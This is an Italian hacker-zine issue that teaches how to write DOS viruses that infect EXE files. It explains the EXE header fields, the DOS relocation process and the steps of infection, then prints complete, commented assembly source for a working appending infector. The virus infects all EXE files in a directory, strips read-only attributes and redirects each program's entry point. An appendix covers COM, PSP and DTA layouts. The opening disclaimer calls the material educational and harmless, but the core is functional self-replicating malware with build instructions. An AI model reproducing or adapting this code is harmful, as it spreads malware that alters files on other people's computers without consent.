Minima Anonyma Tabularia Ex Reti
nihil vacuum neque sine signo apud MATER
Questa pubblicazione contiene
informazioni e codice sorgente relativi alla sicurezza informatica. L’obbiettivo
di queste informazioni è di aiutare gli utenti ad accrescere la propria capacità
di programmazione. Questo materiale è a puro scopo didattico e non include
codice distruttivo né documenti attinenti ad alcuna attività illegale. Si
declina ogni responsabilità nel caso chiunque utilizzi le suddette informazioni
per creare, compilare e diffondere intenzionalmente programmi diretti a
danneggiare o interrompere un sistema informatico o telematico, ovvero a
provocarne l'interruzione, totale o parziale, o l'alterazione del suo
funzionamento Art. 615-quinquies (Legge n. 547/93 pubblicata in Gazzetta
Ufficiale n. 305 del 30.12.1993)
Cari bambini, eccovi la pappa numero due,
tutta dedicata ai virus infettori di files EXE in ambiente DOS.
Milla/Familia
§ MATER liber secundus §
indice
L’ambiente DOS: Virus EXE infettori
appendice: strutture di
memoria dei file COM
VIRUS EXE INFETTORI SOTTO DOS
Come già visto nel capitolo relativo ai COM
infettori, i files COM sono i programmi binari più semplici. Essi sono anche
chiamati immagini di memoria. A causa della loro restrizione a 64 K (la misura
di un segmento), i programmi COM non sono più usati e nell’ambiente Windows
stanno scomparendo, sebbene siano ancora utilizzati per piccole applicazioni.
La principale differenza di un programma EXE è che
la misura di quest’ultimo non è limitata a 64 K. Questo significa che la misura
di un EXE non ha limiti se non quelli imposti dalla quantità di memoria del
proprio HD. D’altra parte un programma più grande di 64K non può essere
caricato ed eseguito in un singolo segmento. Un programma EXE consiste di più
segmenti, per il codice, lo stack e i dati.
Un’altra importante caratteristica è che un EXE può
essere caricato in qualsiasi allocazione di memoria (a differenza
dell’indirizzo 100H del COM). Questo fatto impone un aggiustamento di tutte le
istruzioni che contengono indirizzi di segmento, come
*
JMP/CALL FAR PTR nome
* MOV
reg, SEG nome
* MOV
reg_seg, valore
Il processo è chiamato “rilocazione”, ed è eseguito
quando l’EXE è caricato in memoria. Nel
processo di infezione l’header del file host viene modificato l’indirizzo di
partenza (CS:IP), così come la lunghezza dell’host.
L’EXE deve quindi contenere, assieme ai segmenti di codice,
un’area che contiene a sua volta informazioni sui simboli di rilocazione,
l’indirizzo di partenza, l’indirizzo del segmento di stack etc. Queste
informazioni sono immagazzinate nella
prima parte dell’EXE, chiamata header.
struttura dell’header:
indirizzo misura
contenuto descrizione
+ 0h
Word 4Dh 5Ah
EXE signature (4Dh='M' and 5Ah='Z').Questi due caratteri ASCII
(M e Z)
stanno per Mark Zbikowski, uno dei
maggiori programatori
DOS
della Microsoft.
* 2h
Word PartPag Lunghezza del file mod (modulo) 512
lunghezza mod 512=nr di bytes
nell’ultima pagina
* 4h
Word PageCnt Misura del file in pagine di 512
bytes incluso l’header. Se l’ultima
pagina non è
piena viene inclusa ugualmente
6h Word ReloCnt
Numero di voci nella tabella delle rilocazioni
8h Word HdrSize Misura dell’header in paragrafi gd16 bytes. Questo è usato
per
“locare” l’inizio
del programma reale (modulo load) nel file
0Ah Word MinMem
Memoria minima richiesta oltre la fine del programma caricato in
paragrafi
da 16bytess.
0Ch Word MaxMem
Memoria massima richiesta oltre il programma caricato in paragrafi
da
16bytess.
* 0Eh
Word ReloSS Offset del Segmento dello of
stack segment.(Usato per il settaggio del
registro
SS)
* 10h
Word ExeSP Valore per il registro SP (stack
pointer) quando il programma viene
lanciato
+ 12h Word Checksum
controllo
* 14h Word ExeIP
Valore per il registro IP (puntatore all’istruzione iniziale quando il
programma viene lanciato
* 16h Word ReloCS
Offset del Segmento del codice.(Usato per il settaggio del registro
CS)
+ 18h Word TablOff
Offset nel file della tabella delle rilocazioni (spesso a 1Ch)
+ 1Ah Word
Overlay Marcatore
di Overlay (0 per modulo base).
1Ch
Byte ? (non documentato) di solito = to 01h
? 4*? Ofs Seg Tabella delle rilocazioni
....
Ha [EXE+6] DWORD voci.
Ofs
Seg
? ? Filler
Nota: gli indirizzi marcati con '*' sono utilizzati
dal virus; quelli '+'=opzionali. Gli indirizzi opzionali possono essere usati
per differenti operazioni, come:
-
la
“signature” (MZ or ZM) può essere usata per controllare se il file trovato è un
vero EXE o se è solo un file ridenominato;
-
il
Checksum dall’indirizzo 12h può essere un posto utilizzato per marcatura di
infezione (ID bytes=one or two bytes that will "mark" an infected file);
-
la
TablOff dall’ indirizzo 18h viene utilizzata per verificare se il file è un
normale EXE DOS o un file PE o NE. Se la TablOff è più grande di 64 (40h),
l’EXE è in formato NE o PE. (NOTA:
tutti i "normali"
files Windows EXE hanno TablOff uguale a '@'.
-
il
valore word Overlay locato
all’indirizzo 1Ah può essere usato per controlllare se il file ha overlays o
no. Compara Overlay a 0. Se uguale allora il file non ha overlays ed è ok. Se
no, allora il file ha overlays interni
e infettandolo si distruggerebbero le informazioni.
Può essere un buon esercizio controllare i valori di
PartPag e PageCnt di un file EXE e
comparare questi valori con I valori reali (la misura reale del file). Per
trovare la misura di un file si usa la seguente formula:
misura_file:=((PageCnt-1)*512)+PartPag
La tabella di rilocazione contiene gli indirizzi di
tutte le parole che necessitano un "aggiustamento". La tabella di
rilocazione ha ReloCnt elementi cominciano da TablOff posizione nel file, e la
sua misura è ReloCnt*4 bytes.
struttura di un programma EXE caricato in memoria:
.-----------------------------------.
<------ ES = 0000h
|
Program Segment Prefix ( PSP ) |
'-- DS = 0000h
|
100h bytes ( 256d )
|
|-----------------------------------|
<--- CS:IP ( pointed by header )
| |
|
Program Code Segment ( CS ) |
| |
|-----------------------------------|
| |
|
Program Data Segment ( DS ) |
| |
|-----------------------------------|
<------ SS = 0000h
| |
|
Program Stack Segment ( SS ) |
| |
'-----------------------------------'
<--- SS:SP ( pointed by header )
La
rilocazione del programma è effettuata dalla funzione DOS (4bh) e contiene i
seguenti punti:
1) Crea un
PSP con la funzione DOS 26h;
2) Legge
1Ch bytes dall’EXE (la porzione formattata dell’header) in una area di memoria;
3) Determina
la misura del modulo load = ((PageCnt*512)-(HdrSize*16))-PartPag;
4)
Determina l’indirizzo del modulo load = (HdrSize*16);
5)
Seleziona un indirizzo di segmento START_SEG per il caricamento (di solito
PSP+10h);
6) Legge
il modulo load nella memoria partendo da START_SEG:0000;
7) LSEEK
(set file pointer) all’indirizzo della tabella di rilocazione (TablOff);
8) per
ogni elemento di rilocazione (ReloCnt):
- legge
l’elemento come due 16-bit words (I_OFF,I_SEG)
- trova
l’indirizzo di rilocazione ref RELO_SEG=(START_SEG+I_SEG)
- legge
il valore corrente, la word dall’indirizzo RELO_SEG:I_OFF
-
performa il segment fixup aggiungendo START_SEG a quella word
- salva
il vaolre al suo indirizzo priginale (RELO_SEG:I_OFF)
9) Alloca
memoria per il programma accordando MinMem e MaxMem
10)
Initializza i registri e esegue il programma:
-
ES=DS=PSP
- SS=START_SEG+ReloSS
- SP=ExeSP
- CS=START_SEG+ReloCS
- IP=ExeIP
Nota:
l’inizializzazione di CS e IP è fatta con
PUSH
START_SEG+ReloCS
PUSH ExeIP
RETF
La
principale differenza tra l’infezione di un COM e di un EXE è che l’EXE ha
bisogno di qualche calcolo. La replicazione di un COM avveniva salvando i primi
3 (o più) bytes dall’inizio del programma in un buffer, andare quindi alla fine
del programma, scriverci il codice virale, costruire un’istruzione JMP con la
locazione della fine del programma (e di inizio del codice virale), scrivere un
JUMP all’inizio del programma e finalmente ridare il controllo al programma
host.
Il processo infettivo di un EXE segue questi
passaggi:
1.
leggere
l’header dell’EXE e caricarlo in un
buffer di 1ch bytes;
2.
salvare
dall’header alcuni valori di cui avremo bisogno quando ripasseremo il controllo
all’host ReloSS, ExeSP, ExeIP and ReloCS da 0eh, 10h, 14h and 16h -
rispettivamente I registri SS, SP, IP and CS);
3.
calcolare
I nuovi valori (offsets) per il segmento di stack (SS) e il segmento di codice
(CS), aggiustare il registro IP;
4.
andare
a EOF e scrivere il codice del virus;
5.
calcolare
I nuovi valori di PartPag (offset 02h) e PageCnt (offset 04h);
6.
andare
a BOF (inizio file) e sovrascrivere il vecchio header con la nostra copia
modificata;
7.
passare
il controllo all’host resettando lo stack al valore originario e ripsristinando
il CS:IP al punto dell’originale entry point, e DS e ES al punto del PSP.
Cosa
significa calcolare i nuovi valori del CS:IP ?
CS:IP=ReloCS:ExeIP; ReloCS=indirizzo del segmento codice... questo
valore rappresenta l’indirizzo del codice del programma. Perché viene modificato ? Il processo infettivo deve
effettuare un JUMP al codice virus. Questo non può essere fatto come con un
file COM, inserendo un JMP all’inizio del file. In un EXE si fa in modo che
ReloCS punti al virus invece che al
codice dell’host. Poi, quando il virus ha terminato il suo lavoro, il processo
passerà il controllo all’host ripristinando il vecchio valore di ReloCS (in
memoria, non sul disco).
ExeIP=valore per il registro IP quando il programma
parte... ma che cosa è questo registro ? Il registro IP contiene l’indirizzo
dell’istruzione corrente. Così, viene modifato questo registro per fare in modo
che punti alla prima istruzione del virus (l’entry point del virus).
Questa è la parte del calcolo di CS e IP. Il
registro del segmento di stack SS (stack segment) dovrebbe essere uguale al
registro CS (code segment), così dopo che è trovato il valore di CS, SS sarà
uguale.
Un’altra cosa che deve essere modificata nell’header
è PartPag e PageCnt. Dato che il file è aumentato in dimensioni, si ricalcola
la misura di esso riscrivendo i nuovi valori.
Esempio- Virus EXE infettore non sovrascrittore.
;********************************************************************************
; Name:
Esempio
; Type:
EXE Infettore
; Size:
472 bytes
; il virus
cerca files EXE nella directory corrente. Se non trova files, il virus
; ritorna
il controllo all’host. Se trovaun file, prova ad infettarlo. Se il file
;è già
stato infettato, lo chiude e ne cerca un altro. Il ciclo si ripete fino a
;che tutti
gli EXE della dir. corrente non sono infettati. Il virus infetta read-
;only files
e ripsristina gli attributi time/date.
;Il virus
controlla se: - il file è realmente un EXE (MZ scan)
; - il file è un Windows
EXE
; - il file ha internal
overlays
;
Assemblato con: tasm esempio.asm
; tlink /t
esempio.obj
;********************************************************************************
code segment
assume cs:code,ds:code
org 100h ;comincia a 100h =>
1st host sarà un COM
virus_start:
db 0e9h,3,0 ;jump all’inizio
our_host:
db 0cdh,20h,0 ;=Int 20h
begin:
call find_offset
find_offset:
;
-------------------- Punto 1 – Calcolo il DELTA offset -----------------------
pop bp ;bp contiene IP all’inizio
sub bp,offset find_offset
;=>bp=delta offset
push ds es ;salvo gli originali DS e
ES
push cs
pop ds ;CS=DS
; ----------------- Punto 2 – Salva parti dell’header nellostack
---------------
; _cs è
l’indirizzo usato dalla nostra istruzione di JMP per tornare all’host
; exe_cs è
il registro CS originale
mov
ax,word ptr [bp+exe_cs] ;eguaglia _cs
a exe_cs
mov word ptr [bp+_cs],ax
;salva CS:IP e SS:SP
nello stack
push [bp+exe_cs]
;save CS
push [bp+exe_ip] ;save IP
push [bp+exe_ss] ;save SS
push [bp+exe_sp] ;save SP
;
-------------------------- Punto 3 – Setta un nuovo DTA ----------------------
mov ah,1ah
;funzione DOS=Set Disk Transfer Address
lea dx,[bp+offset
dta] ;setta un nuovo buffere per
DTA
int 21h
; ------------------------- Punto 4 – cerca
un EXE -----------------------------
mov
ah,4eh ;funzione
DOS=cerca il primo file
lea
dx,[bp+filespec] ;cerca solo
files (*.EXE)
mov
cx,7 ;qualsiasi
attributo
facciamolo:
int 21h
jnc
prossimo ;se non c’è
errore continua
jmp
exit ;se errore
ritorna il controllo all’host
prossimo:
;
----------------------- Punto 5 – leggo gli attributi ------------------------
mov
ax,4300h ;funzione
DOS=Get File Attributes
lea
dx,[bp+offset dta+1eh] ;leggo il nome
file dal DTA (offset 1eh)
int 21h
mov
word ptr [bp+file_attr],cx ;salvo
gli attributi
; ----------------- Punto 6 – Setta i nuovi
attributes (solo archivio) ---------
mov
ax,4301h ;funzione
DOS=Set File Attributes
lea
dx,[bp+offset dta+1eh] ;legge il nome
file dal (offset 1eh)
xor
cx,cx ;setta attributi “archive only”
int 21h
;
------------------- Punto 7 – Apre il file per RW (read-write) ---------------
mov ax,3d02h
;funzione DOS=Open File For Read-Write
lea dx,[bp+offset
dta+1eh] ;legge il nome file da DTA (offset 1eh)
int 21h
jnc
continua ;se no errore,
continua
jmp
abort ;se errore
rimette i vecchi attributi e cerca un
;altro file
continua:
xchg
bx,ax ;mette l’ahndle
del file in bx
;
------------------------ Punto 8 – legge
il time/date del file --------------
mov ax,5700h
;funzione DOS=Get File Time/Date
int 21h
mov word ptr
[bp+file_time],cx ;salva ora
mov word ptr
[bp+file_date],dx ;salva data
;
------------------------ Punto 9 – legge l’header ----------------------------
mov ah,3fh
;funzione DOS=Read From File
mov cx,1ch ;legge l’EXE header (1ch
bytes)
lea dx,[bp+offset
header] ;salva in buffer 'header'
int 21h
;
----------------- Punto 10 – controlla se il file è un EXE reale -------------
cmp
word ptr [bp+header],'ZM' ;controlla se i primi 2 bytes sono MZ or ZM
je
infetta
cmp word ptr [bp+header],'MZ'
je infetta
jmp
un_altro ;se non uguale
allore il file non è un reale EXE
;ed è un file ridenominato
infetta:
;
-------------- Punto 11 – controlla se il file è già infettato ---------------
cmp
word ptr [bp+header+10h],'DV'
;controlla per i nostri ID bytes
jne
fatto
jmp
un_altro ;se uguale
allora il file è già stato infettato ;infettato
fatto:
;
--------------- Punto 12 – controlla se il file è un Windows EXE -------------
;Nota: si
potrebbe anche controllare se è NE or PE comparando se è più grande di 64
cmp byte ptr [bp+header+18h],'@' ;controlla se il file è un WinEXE
jne
no_win
jmp
un_altro ;è un WinEXE
here. non possiamo infettarlo in
;questo modo….
no_win:
;
------------- Punto 13 – controlla se il file ha internal overlays -----------
cmp word ptr [bp+header+1ah],0
;controlla per internal overlays
je no_overlay
jmp
un_altro
no_overlay:
push
bx ;salva il file
handle
;
-------------- Punto 14 - Salva parti importanti dall’header -----------------
mov ax,word ptr [bp+header+0eh]
;salva SS
mov word ptr [bp+exe_ss],ax
mov ax,word ptr
[bp+header+10h] ;salva SP
mov word ptr [bp+exe_sp],ax
mov ax,word ptr
[bp+header+14h] ;salva IP
mov word ptr [bp+exe_ip],ax
mov ax,word ptr
[bp+header+16h] ;salva CS
mov word ptr [bp+exe_cs],ax
; ------------------- Punto 15
– andiamo a EOF (end of file) ------------------
mov ax,4202h ;funzione DOS=Set File
Pointer (Seek) a EOF
xor cx,cx
cwd
int 21h
push ax
dx ;ax e dx
contengono la misura del file
;
---------------- Punto 16 – Calcolo il nuovo indirizzo di CS:IP ------------
;
; Abbiamo
bisogno di prendere la misura dell’header in paras. Poi dobbiamo
;
convertirla in bytes (moltiplicandola per 16). Dopodiché dobbiamo sottrarre la
; misura
dell’header dall misura del file e ripristinarla nella forma seg:ofs.
; Noi
faremo questo dividendola per 16.
;
mov
bx,word ptr [bp+header+8h] ;prendo
la misura dell’header in para
; un
paragrafo è di 16 bytes e noi abbiamo bisogno della misura in bytes. Per
; questo
motivo la moltiplichiamo per 16:
mov
cl,4
shl
bx,cl ;shl ruota i
bits a sinistra di 4 posizioni
;questo equivale a moltiplicare
per 16.
;ora, BX è
uguale alla lunghezza dell’header in bytes
;AX
contiene la misura del file (low word)
sub
ax,bx ;ora
sottraiamo la misura dell’header dalla
;misura del file
sbb
dx,0 ;se CF è
settato esso sotrarrà 1, altrimenti 0
;ora,
DX:AX conterrà la misura del file-la misura dell’header
; dobbiamo
convertire DX:AX nella forma segmento:indirizzo perché ora è solo un
;valore.
Per convertirlo a segmento:indirizzo dobbiamo dividerlo per 16.
mov cx,10h
;cx=10h=16
div cx ;divido per 16
; AX=(DX:AX) / 16
; DX=(DX:AX) mod 16
;ora, DX:AX contiene il CS:IP
entry point (stored backwards - IP:CS)
;salvo il nuovo CS:IP
le buffer header. Salvo anche SS e
insewrisco il nostro ID
mov word ptr [bp+header+14h],dx
;metto indirizzo (ExeIP)=new entry point
mov word ptr
[bp+header+16h],ax ;metto indirizzo
di segmento di code seg
mov
word ptr [bp+header+0eh],ax ;metto
indirizzo di segmento di stack seg
mov word ptr [bp+header+10h],'DV'
;metto ID bytes at 10h
; si potrebbe usare
12h (ChkSum) invece di 10h...
pop dx
ax bx ;ripristina gli originali file size and file
;handle
;
---------- Punto 17 – Calcolo I nuovi valori di PartPag and PageCnt ---------
;
; E’
semplice. Dobbiamo aggiungere la misura del codice virale alla misura del
; file, e
convertirlo in pagine dividendolo per 512.
;
; AX e DX
contengono la misura del file
add
ax,heap-begin ;aggiunge la
misura del virus size all’originale
;misura del size
adc
dx,0 ;sw CF add 1,
altrimenti 0
mov
cx,512 ;converte il
risultato in pagine dividendo
div
cx ;per 512
inc ax ;aggiunge uno per
arrotondamento superiore
mov
word ptr [bp+header+4],ax ;mette
nuovo PageCnt
mov
word ptr [bp+header+2],dx ;mette
nuovo PartPag
;
------------------- Punto 18 – scrivo il codice virus a EOF -----------------
mov ah,40h
;funzione DOS=Write To File
mov cx,heap-begin ;cs=size to write=size virus
lea dx,[bp+offset
begin] ;cominciando da
"begin"
int 21h
; ----------------- Punto 19 -
Seek a BOF (beginning of file) -----------------
mov ax,4200h ;funzione DOS=Set File
Pointer (Seek) to BOF
xor cx,cx
cwd
int 21h
;
---------------------- Punto 20 – Scrivo il nuovo header --------------------
mov ah,40h
;funzione DOS=Write To File
mov cx,1ch ;cx=size to write=misura
dell’EXE header
lea dx,[bp+offset
header] ;scrivo da
"header" buffer
int 21h
;
----------------- Punto 21 – Ripristina ora e data --------------------------
mov dx,word ptr [bp+file_date]
;dx=originale data
mov cx,word ptr
[bp+file_time] ;cx=originale ora
mov ax,5701h ;funzione DOS=Set File Time/Date
int 21h
un_altro:
;
------------------------- Punto 22 – Chiudo il file -------------------------
mov
ah,3eh ;funzione
DOS=Close File
int 21h
abort:
;
------------------- Punto 23 – Ripristino attributi originali ---------------
mov
ax,4301h ;funzione
DOS=Set File Attributes
lea
dx,[bp+offset dta+1eh] ;prende il
nome file da DTA
mov
cx,word ptr [bp+file_attr]
;ripristina attributi
int 21h
;
-------------------- Punto 24 – cerca per un nuovo file EXE -----------------
mov ah,4fh
;funzione DOS=Find Next Matching File
lea
dx,[bp+filespec] ;cerca solo
(*.EXE)
jmp
facciamolo
exit:
;
------------- Punto 25 – Ripristina parti dell’header dallo stack -----------
;ripristina CS:IP e SS:SP dallo stack
pop [bp+exe_sp] ;ripr.
SP
pop [bp+exe_ss] ;ripr. SS
pop [bp+exe_ip] ;ripr. IP
pop [bp+exe_cs] ;ripr.
CS
;
------------------------- Punto 26 – Ripristina DTA -------------------------
mov ah,1ah ;funzione DOS=Set
Disk Transfer Address
mov dx,80h ;cambio il DTA a quello originale (il DTA è
all’indirizzo 80h nel
;PSP)
int 21h
pop es
ds ;ripristino ES e
DS
;
------------------- Punto 27 – rimetto il controllo all’host ----------------
mov
ax,es ;ax punterà al PSP
add
ax,10h ;salto il PSP (ax<-PSP+10h)
add word ptr cs:[bp+_cs],ax
; _ip è uno degli
indirizzi del nostro jump per ritornare all’host
;
vediPunto 2 per settare CS
mov bx,word ptr cs:[bp+exe_ip]
;make _ip = exe_ip
mov word ptr cs:[bp+_ip],bx
cli ;pulisce il flag di
interrupt
mov
sp,word ptr cs:[bp+exe_sp]
;aggiusta ExeSP
add
ax,word ptr cs:[bp+exe_ss]
;ripristina lo stack
mov
ss,ax ;aggiusta ReloSS
sti
;setta il flag di interrupt
xor
ax,ax ;pulisce I registri:
ax,bx,cx,dx,si,di
xor
bx,bx
xor
cx,cx
xor
dx,dx
xor
di,di
xor
si,si
xor
bp,bp
db 0eah
;jmp far ptr seg:ofs (CS:IP)
_ip dw 0 ;IP e CS registri usati come indirizzi per
_cs dw 0 ;db 0eah (JMP) istruzione
;qui
riposano gi valori originali di CS:IP e SS:SP
exe_cs dw 0fff0h ;CS:IP
exe_ip dw 0
exe_sp dw 0 ;SS:SP
exe_ss dw 0
filespec db '*.exe',0
heap: ;questa è la fine del
codice virus
file_attr dw ?
file_time dw ?
file_date dw ?
header db 1ch dup (?)
dta db 43 dup (?)
code ends
end virus_start
;********************************************************************************
APPENDICE
A
grande richiesta, e ad ulteriore chiarimento del numero precedente…
1. Struttura dei file COM
Una delle strutture più semplici per un programma
eseguibile è quella dei COM. Questo tipo di eseguibile ha solo un segmento di
64 kilobytes, e all’interno di questo segmento convivono codice, dati e stack.
In un COM gli indirizzi di base sono uguali: CS=DS=SS=ES. I programmi COM a
differenza degli EXE non hanno header, ed essi sul disco sono l’esatta copia di
ciò che sarà caricato in memoria. Quello che noi vediamo in un .COM sarà lo stesso di ciò che la memoria
contiene quando lo eseguiamo (questo è facilmente verificabile con il programma
DEBUG).
Quando un COM viene esguito, il DOS costruisce il PSP,
(Program Segment Prefix) un’area di meoria che parte all’indirzzo 0 del
segmento libero. Tale area occupa 256
bytes (0x100H). Subito dopo il PSP viene caricata l’mmagine del COM image, che
è letto dal file su disco. Per questo motivo un COM parte da 100H (org 100h). Un
Com può occupare 64KB, incluso il suo PSP and lo spazio per lo stack. Anche se
il nostr COM è solo 200 bytes, il DOS assegnerà ad esso un intero segmento di
64KB. Se il nostro COM è 200 bytes, più
256 del PSP, noi abbiamo occupato solo 456 bytes in memoria.
Cosa succede del resto del segmento ? Questa parte è
chiamata heap. Spesso l’heap è utilizzato come un buffer per
memorizzarci dati e strutture come per esempio per la DTA nella routine
infettiva, o per la lettura della MBR nei virus multipartizione
immaginiamo di avere un file di 3KB nel disco. Esso
sarà così strutturato:
0 100h 3 KB 64 K
------------------------------------------------------------------
|
PSP | codice
| HEAP |
|
| COM | |
------------------------------------------------------------------
2. il PSP
PSP=Program Segment Prefix.
E’ la struttura di controllo che il DOS costruisce
quando sta per essere eseguito un programma.
campo Dec
Hex lunghezza descrizione
1.
0 0 2 INT 20h
2.
2 2 2 Misura della memoria
3.
4 4 1 Riservato
4.
5 5 5 Call al dispatcher
5.
10 A 4 Vettore INT 22h
6.
14 E 4 Vettore INT 23h
7.
18 12 4 Vettore INT 24h
8.
22 16 22 Area usata dal DOS
9.
44 2C 2 Segmento delle variabili di ambiente
10.
46 2E 34 Area di alvoro per il DOS
11.
80 50 3 Istruzioni INT 21h, RETF
12.
83 53 2 Riservato
13.
85 55 7 Etensione FCB 1
14.
92 5C 9 FCB
1
15.
101 65 7 Estensione FCB 2
16.
108 6C 20
FCB 2
17.
128 80 1 Lunghezza linea di comando
18.
129 81 127 Linea di comando
19.
128 80 128 DTA
3. la DTA
la DTA (Disk Transfer Area) e' cosi' strutturata:
offset bytes contenuto
0 21 riservato
1 1 attributi del file
22 2 ora ultima modifica
24 2 data ultima modifica
26 4 misura del file in bytes
30 13 nome del
file (ASCIIZ)